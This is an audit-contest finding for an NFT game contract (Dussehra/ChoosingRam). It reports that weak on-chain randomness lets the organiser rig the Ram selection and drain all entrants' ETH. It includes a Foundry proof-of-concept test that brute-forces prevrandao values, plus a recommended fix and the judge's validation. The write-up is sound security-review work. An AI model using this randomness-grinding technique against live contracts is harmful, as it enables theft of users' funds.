Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: low
Valid

Rug pull possible due to weak rng

Summary

Because of centralization and weak randomness, the organizer can take all the funds

Vulnerability Details

The only way to withdraw winnings is if you are ChoosingRam.sol::selectedRam and ChoosingRam.sol::isRamSelected is true. Because the only way to set ChoosingRam.sol::isRamSelected to true is through ChoosingRam.sol::selectRamIfNotSelected which has a modifier of OnlyOrganiser, the organizer decides when the final ram is picked. Because of weak rng, the organizer can enter with 1 eth and can choose when to call ChoosingRam.sol::selectRamIfNotSelected to get a favourable rng to become ChoosingRam.sol::selectedRam and set ChoosingRam.sol::isRamSelected to true. This allows the organiser to then call Dussehra.sol::killRavana, sending half the eth to the organiser. Once ravana is killed, the ram, which is the organiser, can call Dussehra.sol:withdraw which will send the remaining half of the eth to ram which is the organiser.

Proof of code

function test_rugPull() public participants {
vm.startPrank(player3);
vm.deal(player3, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(player4);
vm.deal(player4, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
vm.startPrank(organiser);
vm.deal(organiser, 1 ether);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
uint256 timeStamp = 1722470400; //Date and time (GMT): Thursday, August 1, 2024 12:00:00 AM
uint256 prevrandaoPlayer1;
uint256 player1TokenId = 0;
uint256 player2TokenId = 1;
for (uint256 i = 0; i < 100; i++) {
vm.prevrandao(bytes32(i));
if (uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, player1))) % 2 == 0) {
prevrandaoPlayer1 = i;
break;
}
}
vm.startPrank(player1);
for (uint256 i = 0; i < 5; i++) {
choosingRam.increaseValuesOfParticipants(player1TokenId, player2TokenId);
}
vm.stopPrank();
assertEq(choosingRam.selectedRam(), player1);
assertFalse(choosingRam.isRamSelected());
// Now player1 is ram but isRamSelected() is still false
// organiser will now become ram and will be able to withdraw all the money.
uint256 organiserNftId = 4;
uint256 prevrandaoOrganiser;
vm.warp(1728691200 + 1);
for (uint256 i = 0; i < 100; i++) {
vm.prevrandao(bytes32(i));
if (
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter()
== organiserNftId
) {
prevrandaoOrganiser = i;
break;
}
}
vm.startPrank(organiser);
choosingRam.selectRamIfNotSelected();
assertEq(choosingRam.selectedRam(), organiser);
assertTrue(choosingRam.isRamSelected());
assertEq(organiser.balance, 0);
dussehra.killRavana();
assertEq(organiser.balance, 2.5 ether);
dussehra.withdraw();
assertEq(organiser.balance, 5 ether);
vm.stopPrank();
}

Impact

The organiser can enter once with 1 eth and can be guaranteed to win as ram and steal all the eth from the other entrants. This means that any participant could potentially have no chance of winning half the prize pool reserved for the ram even if they became ram first.

Tools Used

Manual review

Recommendations

Use better randomness such as chainlink VRF.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak randomness in `ChoosingRam::selectRamIfNotSelected`

The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.